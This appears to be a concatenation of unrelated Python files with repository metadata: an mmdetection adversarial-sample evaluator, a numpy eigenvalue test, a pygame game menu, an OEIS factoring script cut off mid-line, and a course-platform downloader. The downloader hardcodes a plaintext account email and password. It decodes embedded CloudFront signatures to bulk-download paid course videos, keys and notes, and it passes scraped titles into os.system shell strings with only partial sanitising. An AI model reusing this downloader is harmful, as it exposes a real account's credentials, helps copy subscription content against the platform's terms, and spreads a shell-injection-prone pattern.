import os import cv2 import json import time import shutil import argparse import numpy as np import PIL.Image from copy import deepcopy import mmcv from mmdet.apis import init_detector, inference_detector, show_result # install mmdet v1 in https://github.com/open-mmlab/mmdetection # download correspongding pretrained models from https://mmdetection.readthedocs.io/en/latest/model_zoo.html config_dir = 'configs' config_files = { 'ssd': config_dir + '/ssd512_coco.py', 'faster_rcnn': config_dir + '/faster_rcnn_r101_fpn_1x.py', 'mask_rcnn': config_dir + '/mask_rcnn_x101_64x4d_fpn_1x.py', 'retinanet': config_dir + '/retinanet_r101_fpn_1x.py', 'cascade_rcnn': config_dir + '/cascade_rcnn_r101_fpn_1x.py', 'cascade_mask_rcnn': config_dir + '/cascade_mask_rcnn_x101_64x4d_fpn_1x.py', 'htc': config_dir + '/htc/htc_x101_64x4d_fpn_20e_16gpu.py', } config_files_ori = deepcopy(config_files) checkpoint_dir = 'models' checkpoint_files = { 'ssd': checkpoint_dir + '/ssd512_coco_vgg16_caffe_120e_20181221-d48b0be8.pth', 'faster_rcnn': checkpoint_dir + '/faster_rcnn_r101_fpn_2x_20181129-73e7ade7.pth', 'mask_rcnn': checkpoint_dir + '/mask_rcnn_x101_64x4d_fpn_1x_20181218-cb159987.pth', 'retinanet': checkpoint_dir + '/retinanet_r101_fpn_2x_20181129-72c14526.pth', 'cascade_rcnn': checkpoint_dir + '/cascade_rcnn_r101_fpn_20e_20181129-b46dcede.pth', 'cascade_mask_rcnn': checkpoint_dir + '/cascade_mask_rcnn_x101_64x4d_fpn_20e_20181218-630773a7.pth', 'htc': checkpoint_dir + '/htc_x101_64x4d_fpn_20e_20190408-497f2561.pth', } model_order = list(config_files.keys()) assert model_order == list(checkpoint_files.keys()) paths = {'Annot': 'COCO/annotations', 'mmdet': 'mmdetection/tools/test.py'} for key in paths: assert os.path.exists(paths[key]), paths[key] + ' does not exist' for key in config_files: assert os.path.exists(config_files[key]), config_files[key] + ' does not exist' for key in checkpoint_files: assert os.path.exists(checkpoint_files[key]), checkpoint_files[key] + ' does not exist' dirs = ['adv', 'cache', 'index', 'detection'] mask = ['mask_rcnn', 'cascade_mask_rcnn', 'htc'] def calculate_rmse(dir_name): # calculate the RMSE for all samples rmses = [] for root, _, files in os.walk(dir_name): if 'sample_adv.png' not in files or 'sample_ori.png' not in files: continue#print('Not found in', root); continue adv = np.array(PIL.Image.open(root + '/sample_adv.png')).astype(np.float32) ori = np.array(PIL.Image.open(root + '/sample_ori.png').resize((adv.shape[1], adv.shape[0]))).astype(np.float32) rmse = np.sqrt(np.mean(np.square(adv-ori))) if rmse < 20: rmses.append(rmse) print('RMSE is %.3f in %d samples' % (sum(rmses)/(len(rmses)+0.001), len(rmses))) def re_annotation(dir_name): data = json.load(open(paths['Annot'] + '/instances_val2017.json', 'r', encoding='utf-8')) scales = {} size = 416 if ('MaskRCNN' not in dir_name) else 448 existing = [] # record the existing samples for file in os.listdir(dir_name + '/' + dirs[0]): existing.append(file) # record the resized scale for each sample abandoned = [] for i in range(len(data['images'])): new_name = data['images'][i]['file_name'][:-4] + '.png' if new_name not in existing: abandoned.append(i) data['images'][i]['file_name'] = new_name ih, iw = data['images'][i]['height'], data['images'][i]['width'] scale = min(size/ih, size/iw) data['images'][i]['height'], data['images'][i]['width'] = int(ih*scale), int(iw*scale) scales[data['images'][i]['id']] = scale for i, index in enumerate(abandoned): data['images'].remove(data['images'][index-i]) # resize the annotations for detection and segmentation abandoned = [] for i in range(len(data['annotations'])): image_id = data['annotations'][i]['image_id'] scale = scales[image_id] new_name = str(image_id).zfill(12) + '.png' if new_name not in existing: abandoned.append(i) for j in range(len(data['annotations'][i]['segmentation'])): try: data['annotations'][i]['segmentation'][j] = list(np.array(data['annotations'][i]['segmentation'][j])*scale) except KeyError: continue data['annotations'][i]['area'] = data['annotations'][i]['area'] * (scale ** 2) data['annotations'][i]['bbox'] = list(np.array(data['annotations'][i]['bbox']) * scale) for i, index in enumerate(abandoned): data['annotations'].remove(data['annotations'][index-i]) result_dir = dir_name + '/' + dirs[1] os.makedirs(result_dir, exist_ok=True) json.dump(data, open(result_dir + '/instances_val2017_resized.json', 'w', encoding='utf-8')) def change_config(model_name, dir_name): global config_files, config_files_ori # change the config files to test the generated adversarial samples ori_config = config_files_ori[model_name] py_file = open(ori_config, 'r').read() py_file = py_file.replace("data_root + 'val2017/'", "'" + dir_name + "/" + dirs[0] + "'") py_file = py_file.replace("data_root + 'annotations/instances_val2017.json'", "'" + dir_name + "/" + dirs[1] + "/instances_val2017_resized.json'") new_config = dir_name + '/' + dirs[1] + '/' + os.path.basename(config_files_ori[model_name]) with open(new_config, 'w') as f: f.write(py_file) config_files[model_name] = new_config def test_index(model_name, dir_name, metric='bbox', unique_metric=False): # test the performance of mmdetection models on adversarial samples if 'MaskRCNN' in dir_name and model_name == 'mask_rcnn': return result_dir = dir_name + '/' + dirs[2] os.makedirs(result_dir, exist_ok=True) file_name = 'test.py' if not unique_metric else 'test_ours.py' command = 'python mmdetection/tools/%s %s %s --out %s --eval %s' % \ (file_name, config_files[model_name], checkpoint_files[model_name], result_dir + '/' + model_name + '.pickle', metric if (model_name not in mask or unique_metric) else (metric + ' segm')) print(command) os.system(command) def test_bbox(model_name, dir_name, sample_num): # generate visual results for sample_num samples source_dir = dir_name + '/' + dirs[0] result_dir = dir_name + '/' + dirs[3] + '/' + model_name os.makedirs(result_dir, exist_ok=True) config_file = config_files[model_name] checkpoint_file = checkpoint_files[model_name] model = init_detector(config_file, checkpoint_file, device='cuda:0') model_id, model_num = model_order.index(model_name) + 1, len(model_order) for i, file in enumerate(sorted(os.listdir(source_dir), key=lambda x: int(os.path.splitext(os.path.splitext(x)[0])[0]))): if i >= sample_num: break img = source_dir + '/' + file try: result = inference_detector(model, img) final = show_result(img, result, model.CLASSES, show=False) except: continue PIL.Image.fromarray(final[:, :, ::-1]).save(result_dir + '/' + os.path.splitext(file)[0] + '.png') print('[ Model %d/%d %s ] [ No %d/%d ] [ File %s ]' % (model_id, model_num, model_name, i+1, sample_num, file), end='\r') def test_pipeline(): parser = argparse.ArgumentParser(argument_default=argparse.SUPPRESS) parser.add_argument('dataset', type=str, help='dir name of the tested experiment') parser.add_argument('gpu_id', help='GPU(s) used') args, _ = parser.parse_known_args() os.environ["CUDA_VISIBLE_DEVICES"] = args.gpu_id assert os.path.exists(args.dataset) print('Calculating RMSE for', args.dataset, 'with', len(os.listdir(args.dataset + '/' + dirs[0])), 'samples...') calculate_rmse(args.dataset) re_annotation(dir_name=args.dataset) # resize annotations for existing adversarial samples to dir_name/dirs[1]/instances_val2017_resized.json # change paths in config file and saved in dir_name/dirs[1]/.py for model_name in config_files: change_config(model_name=model_name, dir_name=args.dataset) # run mAP, mAR for samples to dir_name/dirs[2] for model_name in config_files: test_index(model_name=model_name, dir_name=args.dataset) # get bbox detection result images in dir_name/dirs[3]/model_name for model_name in config_files: test_bbox(model_name=model_name, dir_name=args.dataset, sample_num=500) # run accuracy, IoU for samples to dir_name/dirs[2] for model_name in config_files: test_index(model_name=model_name, dir_name=args.dataset, unique_metric=True) if __name__ == "__main__": test_pipeline()

50.97093

196

0.677883

1,253

8,767

4.509178

0.215483

0.046195

0.02531

0.019823

0.304248

0.200708

0.179292

0.100177

0.060177

0.047788

0

0.034827

0.17794

8,767

172

197

50.97093

0.749133

0.09878

0

0.068182

0

0.007576

0.218406

0.087622

0

0.037879

1

0.045455

false

0

0.083333

0

0.128788

0.030303

0

null

0

null

0

1

0

757912d9e4012e01b625eaf478b57827dc9d6ad6

415

py

Python

la/oblas/data/dgeev01.py

wtsia/gosl

8302f76dfe76d24ea5026b225bdad234383dacf9

[ "BSD-3-Clause" ]

1,811

2015-05-21T12:47:27.000Z

2022-03-24T04:48:00.000Z

la/oblas/data/dgeev01.py

wtsia/gosl

8302f76dfe76d24ea5026b225bdad234383dacf9

[ "BSD-3-Clause" ]

42

2016-09-29T05:23:28.000Z

2021-10-30T03:12:00.000Z

la/oblas/data/dgeev01.py

wtsia/gosl

8302f76dfe76d24ea5026b225bdad234383dacf9

[ "BSD-3-Clause" ]

171

2015-07-14T07:50:35.000Z

2022-03-09T10:04:15.000Z

import numpy as np import scipy.linalg as la from auxiliary import * a = np.matrix([ [+0.35, +0.45, -0.14, -0.17], [+0.09, +0.07, -0.54, +0.35], [-0.44, -0.33, -0.03, +0.17], [+0.25, -0.32, -0.13, +0.11], ], dtype=float) w, vl, vr = la.eig(a, left=True, right=True) vprintC('w', w) print for i in range(4): vprintC('vl%d'%i, vl[:,i]) print for i in range(4): vprintC('vr%d'%i, vr[:,i])

18.043478

44

0.53253

86

415

2.569767

0.5

0.027149

0.036199

0.099548

0.217195

0

0.151515

0.204819

415

22

45

18.863636

0.518182

0

0.235294

0

0.021687

0

1

0

false

0

0.176471

0

0.176471

0.294118

0

null

0

null

0

1

0

757aed5f2d7b170e9c0c6e816158ab521912f796

9,969

py

Python

source/menus/menus.py

HugoPFe/Project-Asteroids

7a58ba00283216e83f02b2f58cf1944e9e217433

[ "MIT" ]

null

source/menus/menus.py

HugoPFe/Project-Asteroids

7a58ba00283216e83f02b2f58cf1944e9e217433

[ "MIT" ]

4

2021-06-20T21:32:53.000Z

2021-08-12T11:12:17.000Z

source/menus/menus.py

HugoPFe/Project-Asteroids

7a58ba00283216e83f02b2f58cf1944e9e217433

[ "MIT" ]

null

import pygame from pygame.locals import * from util import * from constants import FPS, VERSION, SCREEN_WIDTH, SCREEN_HEIGHT from ui.button import * from ui.font import * from media.paths import bg, logo, body_font, title_font class Main: def __init__(self): """ It's the abstract class for all screens (with your own main loop) """ # Constants self.BACKGROUND = pygame.image.load(bg) # Variables self.screen = pygame.display.set_mode((SCREEN_WIDTH, SCREEN_HEIGHT)) self.screen_rect = self.screen.get_rect() self.clock = pygame.time.Clock() self.running = True self._buttons = [] def main_loop(self): while self.running: self._base_loop() def _base_loop(self): self.clock.tick(FPS) for event in pygame.event.get(): if event.type == QUIT: # Making sure that all screens is stopped to run for sub in Main.__subclasses__(): sub.running = False if event.type == KEYDOWN: if event.key == K_ESCAPE: for sub in Main.__subclasses__(): sub.running = False print(event) self.check_events(event) self.screen.blit(self.BACKGROUND, (0, 0)) self.loop() pygame.display.flip() def loop(self): pass def render_buttons(self): """ Draw all buttons on screen """ for button in self._buttons: button.render() def add_buttons(self, *args): for arg in args: self._buttons.append(arg) def check_events(self, event): pass @staticmethod def change_screen(next_screen, previous_screen=None, kill_prev=False): if kill_prev: previous_screen.running = False if previous_screen is not None: next_screen(previous_screen) else: next_screen() def back_screen(self): self.running = False @property def running(self): return self._running @running.setter def running(self, arg): self._running = arg print(f'[{self.__class__.__name__}]', f'running: {arg}') def back_mainmenu(self, screen): """ Returns directly to MainMenu """ self.back_screen() screen.back_screen() class MainMenu(Main): def __init__(self, game_cls): """ Class for Main menu """ Main.__init__(self) self.logo = pygame.image.load(logo).convert_alpha() self.logo_rect = self.logo.get_rect(center=(SCREEN_WIDTH / 2, 150)) # Buttons self.play_button = Button(screen=self.screen, x=120, y=SCREEN_HEIGHT - 220, width=90, height=40, text='Jogar', padding=5, command=lambda: self.change_screen(game_cls)) self.controls_button = Button(screen=self.screen, x=120, y=SCREEN_HEIGHT - 160, width=90, height=40, text='Controles', padding=5, command=lambda: self.change_screen(ControlsMenu)) self.exit_button = Button(screen=self.screen, x=120, y=SCREEN_HEIGHT - 100, width=90, height=40, text='Sair', padding=5, command=self.exit) self.add_buttons( self.play_button, self.controls_button, self.exit_button ) # Version self.version_txt = Font(f'version: {VERSION}', (SCREEN_WIDTH - 10, SCREEN_HEIGHT - 30), 'right') self.version_txt.configure(font_name=body_font, size=15, color='white', bg_color='black', screen=self.screen) self.main_loop() def loop(self): self.screen.blit(self.logo, self.logo_rect) self.render_buttons() self.version_txt.render() def exit(self): self.running = False class ControlsMenu(Main): def __init__(self): """ Class for Controls menu """ Main.__init__(self) self.screen_x = self.screen.get_width() self.screen_y = self.screen.get_height() self.screen_rect = self.screen.get_rect() self.keys_fonts_text = { 'up_font': {'command_text': 'Mover para cima', 'command_key': 'Seta para cima'}, 'down_font': {'command_text': 'Mover para baixo', 'command_key': 'Seta para baixo'}, 'left_font': {'command_text': 'Mover para esquerda', 'command_key': 'Seta para esquerda'}, 'right_font': {'command_text': 'Mover para direita', 'command_key': 'Seta para direita'}, 'clockwise_font': {'command_text': 'Girar em sentido horário', 'command_key': 'E'}, 'anticlockwise_font': {'command_text': 'Girar em sentido anti-horário', 'command_key': 'Q'}, 'shoot_font': {'command_text': 'Atirar', 'command_key': 'Espaço'}, 'pause_font': {'command_text': 'Pausar', 'command_key': 'P'} } self.control_font = None self.keys_fontgroup = None self.keys_frame() self.back_button = Button(screen=self.screen, x=SCREEN_WIDTH / 2, y=SCREEN_HEIGHT - 100, width=80,height=40, text='Voltar', padding=3, command=lambda: self.back_screen()) self.add_buttons(self.back_button) self.main_loop() def loop(self): self.screen.blit(self.frame, self.frame_rect) self.render_buttons() self.control_txt.render() self.keys_fontgroup.render_fonts() def keys_frame(self): frame_color = '#353535' self.frame = pygame.Surface((int(self.screen_x * 0.9), int(self.screen_y * 0.5))) self.frame.fill(frame_color) self.frame_rect = self.frame.get_rect(center=self.screen_rect.center) self.frame_content(frame_color) def frame_content(self, frame_color): # Title command_list self.control_txt = Font('Controles', pos=(self.frame_rect.centerx, 90)) self.control_txt.configure(screen=self.screen, font_name=title_font, size=50, bold=True, antialias=True, color=(255, 255, 255), bg_color=(0, 0, 0), align='center') # Keys fonts font_space = 30 self.keys_fontgroup = FontsGroup(screen=self.screen, font_name=body_font, size=18, bold=True, antialias=True, color=(255, 255, 255), bg_color=frame_color) keys_fonts_objects = [] for commands, value in self.keys_fonts_text.items(): # Adding fonts to list keys_fonts_objects.append([Font(text=value['command_text'], pos=(self.frame_rect.x + 30, self.frame_rect.y)), Font(text=value['command_key'], pos=(self.frame_rect.right - 30, self.frame_rect.y), align='right') ]) c = 1 for command_font_list in keys_fonts_objects: # Rendering on screen command_font_list[0].y += c * font_space command_font_list[1].y += c * font_space for i in range(2): self.keys_fontgroup.add_fonts(command_font_list[i]) c += 1 class PauseScreen(Main): def __init__(self, game): """ Class for Pause screen """ Main.__init__(self) self.paused_font = Font('Pausado', (self.screen_rect.centerx, 100), 'center') self.paused_font.configure(screen=self.screen, font_name=title_font, size=50, bold=True, antialias=True, color='white', bg_color='black') # Buttons self.continue_button = Button(screen=self.screen, x=self.screen_rect.centerx, y=400, width=110, height=40, text='Continuar', padding=10, command=self.back_screen) self.controls_button = Button(screen=self.screen, x=self.screen_rect.centerx, y=460, width=110, height=40, text='Controles', padding=8, command=lambda: self.change_screen(ControlsMenu)) self.mainmenu_button = Button(screen=self.screen, x=self.screen_rect.centerx, y=520, width=110, height=40, text='Menu', padding=7, command=lambda: self.back_mainmenu(game)) self.add_buttons( self.continue_button, self.controls_button, self.mainmenu_button ) self.main_loop() def loop(self): self.paused_font.render() self.render_buttons() pygame.display.flip() def check_events(self, event): if event.type == KEYDOWN: if event.key == K_p: self.back_screen() __all__ = ['Main', 'MainMenu', 'PauseScreen', 'ControlsMenu']

34.856643

104

0.51921

1,069

9,969

4.61927

0.199252

0.062778

0.035642

0.031187

0.346497

0.217699

0.200081

0.172742

0.133252

0.116646

0

0.021757

0.37757

9,969

285

105

34.978947

0.774053

0.035711

0

0.242574

0

0.073822

0.002827

0

1

0.108911

false

0.009901

0.034653

0.00495

0.168317

0.009901

0

null

0

null

0

1

0

757b44c079d1af1e49497f1e9f96873e80ae2cd3

15,155

py

Python

Cursos/treina_web.py

FranciscoAlveJr/Bot_Telegram

9960485a4a25648719ef6fafcb3b02c82db79253

[ "MIT" ]

null

Cursos/treina_web.py

FranciscoAlveJr/Bot_Telegram

9960485a4a25648719ef6fafcb3b02c82db79253

[ "MIT" ]

null

Cursos/treina_web.py

FranciscoAlveJr/Bot_Telegram

9960485a4a25648719ef6fafcb3b02c82db79253

[ "MIT" ]

null

import requests import json import os from bs4 import BeautifulSoup as bs import random import time import base64 import m3u8 treinaweb_sessions = requests.Session() class Downloader(): def index(self): escolha = input('Qual plataforma voce deseja baixar?\n1 - TreinaWeb\n2 - AvMakers\n3 - Freelae\nResposta: ') n = [1, 2, 3] if escolha.isdigit(): escolha = int(escolha) if escolha in n: if escolha == 1: self.main = 'treinaweb' elif escolha == 2: self.main = 'avmakers' elif escolha == 3: self.main = 'freelae' else: print('Erro. Saindo.') exit(0) self.headers = { 'authority': f'www.{self.main}.com.br', 'pragma': 'no-cache', 'cache-control': 'no-cache', 'upgrade-insecure-requests': '1', 'origin': f'https://www.{self.main}.com.br', 'content-type': 'application/x-www-form-urlencoded', 'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.75 Safari/537.36', 'accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9', 'sec-fetch-site': 'same-origin', 'sec-fetch-mode': 'navigate', 'sec-fetch-user': '?1', 'sec-fetch-dest': 'document', 'referer': f'https://www.{self.main}.com.br/login', 'accept-language': 'pt-BR,pt;q=0.9,en-US;q=0.8,en;q=0.7', } cookie_jar = treinaweb_sessions.get(f'https://www.{self.main}.com.br/login', headers=self.headers).cookies.get_dict()[f'{self.main}-site'] #self.headers['cookie'] = f"treinaweb-site={cookie_jar}; path=/; secure; httponly; samesite=lax" #self.cookies = {"treinaweb-site": cookie_jar} user = 'ocoisa081@gmail.com' pswd = '18020301.pP' data = { 'username': user, 'password': pswd } treinaweb_sessions.post(f'https://www.{self.main}.com.br/login', headers=self.headers, data=data) infos = treinaweb_sessions.get(f'https://www.{self.main}.com.br/api/painel/v1/aluno', headers=self.headers) self.headers['cookie'] = f"{self.main}-site={infos.cookies.get_dict()[f'{self.main}-site']}; path=/; secure; httponly; samesite=lax" #print(teste.headers) # self.quest() def quest(self): escolha = input(f'Escolha uma das funções abaixo\n1 - Baixar Cursos\n2 - Baixar Formações\n3 - Informações\n4 - Sair\nResposta: ') n = [1, 2, 3] if escolha.isdigit(): escolha = int(escolha) if escolha in n: if escolha == 1: self.get_cursos() elif escolha == 2: self.get_formacao() elif escolha == 3: self.infos() else: print('Erro. Saindo.') exit(0) def get_cursos(self): #downloaded_read = json.loads(open('downloaded.json', 'r', encoding='utf-8').read()) #downloaded_write = open('downloaded.json', 'w', encoding='utf-8') infos = treinaweb_sessions.get(f'https://www.{self.main}.com.br/api/painel/v1/cursos', headers=self.headers).json() categorias = {} try: cats = infos['meta']['categorias']['data'] for cat in cats: categorias[cat['id']] = cat['nome'] except: categorias = { 1: 'Freelae', 2: 'Bonus', 3: 'Bonus', 4: 'Bonus', } cursos = infos['data'] for index, curso in enumerate(cursos, start=1): categoria = curso['categorias'] if len(categoria) > 1: random_num = random.choice(categoria) self.categoria = categorias[random_num] else: self.categoria = categorias[categoria[0]] self.curso_nome = self.replacer(curso['nome']) print(f'{index} - {self.curso_nome}') print(f'{index+1} - Baixar todos') escolha = input('Qual curso vc quer baixar?\nR: ') if escolha.isdigit(): escolha = int(escolha) if escolha < index + 1 : curso = cursos[escolha-1] self.get_course_here(curso) elif escolha == index + 1 : for index, curso in enumerate(cursos, start=1): categoria = curso['categorias'] if len(categoria) > 1: random_num = random.choice(categoria) self.categoria = categorias[random_num] else: self.categoria = categorias[categoria[0]] self.curso_nome = self.replacer(curso['nome']) self.get_course_here(curso) else: print('Erro. Saindo.') exit(0) #downloaded_read.append(self.curso_nome) #if self.curso_nome in downloaded_read: #continue #tipos #1: Cursos #2: Direto ao ponto def get_course_here(self, curso): if curso['tipo'] == 1: self.tipo = 'Cursos' a = self.return_self(curso['links']) au = a['data'] aul =au['aulas'] aulas = aul['data'] elif curso['tipo'] == 2: self.tipo = 'Direto ao Ponto' a = self.return_self(curso['links']) au = a['data'] aul =au['aulas'] aulas = aul['data'] elif curso['tipo'] == 3: self.tipo = 'Projeto Prático' a = self.return_self(curso['links']) au = a['data'] aul =au['aulas'] aulas = aul['data'] else: print(curso) for aula in aulas: modulo = self.replacer(aula['titulo']) modulo_count = aula['ordem'] self.final_modulo = f'{modulo_count} - {modulo}' sub_aulas = aula['subaulas']['data'] for sub_aula in sub_aulas: aula_t = self.replacer(sub_aula['titulo']) aula_count = sub_aula['ordem'] self.final_aula = f'{aula_count} - {aula_t}' tipo = sub_aula['tipo'] print(f'{self.categoria} | {self.curso_nome} | {self.final_modulo} | {self.final_aula} | ', end='') path = self.create_path(f'{self.main.capitalize()}/{self.tipo}/{self.categoria}/{self.curso_nome}/{self.final_modulo}') if tipo == 3: print("Questionario") continue elif tipo == 1: print("Apostila") self.aula_path = f'{path}/{self.final_aula}.html' apostilas = self.get_apostilas(sub_aula['links'][0]['uri']) css = 'body {margin: 50px 150px 50px 150px; text-align: justify} .HtmlContentRenderer_text-content-style__2TWCB {background-color: #fff font-size: 16px; font-weight: 400; color: #707070; word-break: break-word}' html = f"<html lang='pt-br' data-product='treinaweb'><head><meta charset='utf-8'><style>{css}</style></head><body><h1>{self.final_aula}</h1><br><div class='HtmlContentRenderer_text'>{apostilas}</div></body></html>" with open(self.aula_path, 'w', encoding='utf-8') as out: out.write(html) continue elif tipo == 2: self.aula_path = f'{path}/{self.final_aula}.mp4' if os.path.exists(self.aula_path): continue print('Video') videos = self.get_video(sub_aula['links'][0]['uri']) if videos['url_anexo'] != None: ext = videos['url_anexo'].split('?')[0].split('.')[-1] os.system(f'aria2c -o "{path}/{self.final_aula}.{ext}" "{videos["url_anexo"]}" --quiet --continue=true') pass url = videos['url'] encoded = str(bs(treinaweb_sessions.get(url, headers=self.headers).content, 'html.parser').find('head').find('script', {'type': 'text/javascript'})) encoded = encoded.split("';")[0] encoded = encoded.split("= '")[1] data = json.loads(base64.b64decode(encoded)) signatures = data["signatures"] m3u8_signatures = signatures['m'] key_signatures = signatures['k'] ts_signatures = signatures['t'] #all_signatures = [m3u8_signatures, key_signatures, ts_signatures] s3_user_hash = data["s3_user_hash"] s3_video_hash = data["s3_video_hash"] sessionID = data["sessionID"] master_m3u8_name = 'index.m3u8' self.get_m3u8(master_m3u8_name, m3u8_signatures, s3_user_hash, s3_video_hash, sessionID) master_content = open(f"tmp/{master_m3u8_name}", 'r').read() master_m3u8 = m3u8.loads(master_content) self.set_master(master_m3u8) master_content = open(f"tmp/{master_m3u8_name}", 'w') master_dumps = master_m3u8.dumps() with master_content as master_output: master_output.write(master_dumps) max_resolution = master_m3u8.playlists.__dict__['uri'] self.get_m3u8(max_resolution, m3u8_signatures, s3_user_hash, s3_video_hash, sessionID) video_1080_content = open(f'tmp/{max_resolution}', 'r').read() video_1080_m3u8 = m3u8.loads(video_1080_content) video_1080_content = open(f'tmp/{max_resolution}', 'w') video_dumps = video_1080_m3u8.dumps() with video_1080_content as video_output: video_output.write(video_dumps) video_segments = video_1080_m3u8.data['segments'] key_type = max_resolution.replace('m3u8', 'key') self.get_key(key_type, key_signatures, s3_user_hash, s3_video_hash, sessionID) self.get_ts(video_segments, ts_signatures, s3_user_hash, s3_video_hash, sessionID) if os.path.exists(self.aula_path) is False: os.system(f'ffmpeg -allowed_extensions ALL -i "tmp/index.m3u8" "{self.aula_path}" -preset ultrafast -nostats -loglevel 0') try: os.system('del /q tmp') except: pass try: os.system('rmdir /q /s tmp') except: pass continue elif tipo == 4: print(sub_aula) exit(0) #tipos #1 = apostila #2 = video #3 = questionario #4 = ?? time.sleep(1) #with downloaded_write as output: #output.write(json.dumps(downloaded_read)) def get_key(self, tipo, signatures, s3_user_hash, s3_video_hash, sessionID): path = f'tmp' cfp = signatures['CloudFront-Policy'] cfs = signatures['CloudFront-Signature'] kpid = signatures['CloudFront-Key-Pair-Id'] url = f'https://hls2.videos.sproutvideo.com/{s3_user_hash}/{s3_video_hash}/video/{tipo}?Policy={cfp}&Signature={cfs}&Key-Pair-Id={kpid}&sessionID={sessionID}' os.system(f'aria2c -o "{path}/{tipo}" "{url}" --quiet --continue=true') def set_master(self, master): for x in master.playlists: if '1080.m3u8' in x.__dict__['uri']: master.playlists = x break elif '720.m3u8' in x.__dict__['uri']: master.playlists = x else: master.playlists = x def get_m3u8(self, tipo, signatures, s3_user_hash, s3_video_hash, sessionID): path = 'tmp' if os.path.exists(path) is False: os.makedirs(path) cfp = signatures['CloudFront-Policy'] cfs = signatures['CloudFront-Signature'] kpid = signatures['CloudFront-Key-Pair-Id'] m3u8_file = f'https://hls2.videos.sproutvideo.com/{s3_user_hash}/{s3_video_hash}/video/{tipo}?Policy={cfp}&Signature={cfs}&Key-Pair-Id={kpid}&sessionID={sessionID}' os.system(f'aria2c -o "{path}/{tipo}" "{m3u8_file}" --quiet --continue=true') def get_ts(self, segments, signatures, s3_user_hash, s3_video_hash, sessionID): cfp = signatures['CloudFront-Policy'] cfs = signatures['CloudFront-Signature'] kpid = signatures['CloudFront-Key-Pair-Id'] path = 'tmp' for segment in segments: url = segment['uri'] segment_link = f'https://hls2.videos.sproutvideo.com/{s3_user_hash}/{s3_video_hash}/video/{url}?Policy={cfp}&Signature={cfs}&Key-Pair-Id={kpid}&sessionID={sessionID}' filename = url ts_path = f'{path}/{filename}' if os.path.exists(ts_path) is False: os.system(f'aria2c -o "{ts_path}" "{segment_link}" --quiet --continue=true') time.sleep(0.01) time.sleep(0.5) def get_video(self, api): video = treinaweb_sessions.get(api, headers=self.headers).json()['data']['video']['data'] return video def get_apostilas(self, api): apostilas = treinaweb_sessions.get(api, headers=self.headers).json()['data']['apostila']['data']['html'] return apostilas def replacer(self, text): invalid = {'/': '-','//': ' - ', r'"': r"'", '\\': " - ", '|': " - ", '<': "«", '>': "»", '*': "x", ':': ' -', '?': "¿", '\n': ' - '} for char in invalid: if char in text: text = text.replace(char, invalid[char]) return text def return_self(self, api): for link in api: if link['type'] == 'GET' and link['rel'] == 'self': uri = link['uri'] + '?include=aulas' aulas = treinaweb_sessions.get(uri, headers=self.headers).json() return aulas def create_path(self, path): if os.path.exists(path) is False: os.makedirs(path) return path #Downloader().index()

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null

0

null

0

1

0

757c4a2be3e6e27c73b14c6ddc8062d7cb6e67ce

10,724

py

Python

A037274/simple.py

sethtroisi/OEIS

2c10b86d8a8be69aa8020623d4802e3d68772ede

[ "Apache-2.0" ]

3

2019-05-25T23:08:48.000Z

2021-12-11T03:59:42.000Z

A037274/simple.py

sethtroisi/OEIS

2c10b86d8a8be69aa8020623d4802e3d68772ede

[ "Apache-2.0" ]

1

2019-03-07T21:22:52.000Z

A037274/simple.py

sethtroisi/OEIS

2c10b86d8a8be69aa8020623d4802e3d68772ede

[ "Apache-2.0" ]

1

2021-04-29T06:35:07.000Z

import gmpy2 import itertools import subprocess import math import time from collections import defaultdict from factordb.factordb import FactorDB START = 2 STOP = 5000 # Also see A056938 def product(factors): temp = 1 for factor in factors: temp *= factor return temp def factordb_format(number): if number < 1e10: return str(number) strN = str(number) length = len(strN) if number < 1e24: return "{}<{}>".format(strN, length) return "{}...{}<{}>".format(strN[:10], strN[-2:], length) def split_to_lines(number, max_size): size = max_size - 2 # split this number evenly over multiple lines needed_lines = (len(number) - 1) // size + 1 assert size * needed_lines >= len(number) # split evenly onto this many lines per_line = len(number) // needed_lines # this many lines get 1 extra extra = len(number) % needed_lines assert per_line + (extra > 0) <= size lines = [] for l in range(1, needed_lines+1): # take per_line, plus potentially one extra this_line = number[:per_line + (extra > 0)] number = number[len(this_line):] this_line += " /" if l != needed_lines else "" lines.append(this_line) return lines def row_format(string, max_size=60): if len(string) <= max_size: return string mult = " * " if mult in string: parts = string.split(mult) lines = [] line = "" for part in parts: merged = line + part + mult if len(merged) <= max_size + 1: # trailing space line = merged continue elif line: lines.append(line.strip()) line = "" assert line == "" if len(part) <= max_size - 2: lines.append(part + " *") continue lines += split_to_lines(part + " *", max_size) temp = "<br>".join(lines) assert temp.endswith(" *"), temp[-20:] return temp[:-2] return "<br>".join(split_to_lines(string, max_size)) def factor_large(n, b1=10**6): args = ["ecm", "-q", "-c", "10", str(b1)] print ("\t\t", " ".join(args)) result = subprocess.run( args, input=str(n).encode(), stdout=subprocess.PIPE) if result.returncode == 8: # Need to rerun with smaller b1 print("\t\tfound self ({} with b1={})".format(n, b1)) return factor_large(n, b1= max(100, b1 // 90)) return list(map(int, result.stdout.strip().split())) def attempt_factorization(s, known_factors): t = s factors = [] for factor in known_factors: # Last factor maybe non-prime if gmpy2.is_prime(factor): t //= factor factors.append(factor) # Toggle to if True: to recheck factordb. if t >= 1e10 and t not in known_factors: # Check factorDB (probably already been done) time.sleep(0.2) factordb = FactorDB(t) factordb.connect() factordb_factors = factordb.get_factor_list() if factordb_factors: print ("\t\tfactordb:", factordb.get_status(), factordb_factors) for factor in factordb_factors: if gmpy2.is_prime(factor): t //= factor factors.append(factor) # small trial division p = 2 while t > 1 and t < 1e10: while t % p == 0: t //= p factors.append(p) if t == 1: break p += 1 + (p&1) return t, factors def load_from_file(): home_primes = defaultdict(list) n = None s = None with open("home_primes.txt") as f: # each line is "<base> <start> <step> <status>: <factor> <factor> ..." for line in f.readlines(): pre, post = line.strip().split(":") *pre, status = pre.split() base, start, step, = map(int, pre) if start != n: n = start s = n factors = list(map(int, post.split())) assert status in ("FF", "P", "CF"), line home_primes[(base, start, step)] = factors assert product(factors) == s, (start, step, s, factors) s = int("".join(map(str, factors))) min_step = {} duplicates = {} all_primes = set() composites = defaultdict(set) for key, factors in home_primes.items(): for p in factors: if gmpy2.is_prime(p): all_primes.add(p) else: composites[key].add(p) is_terminal = len(factors) == 1 and factors[0] in all_primes s = int("".join(map(str, factors))) if s in min_step and not is_terminal: # Make sure min step isn't previous step or that's stupid if min_step[s] == (key[0], key[1], 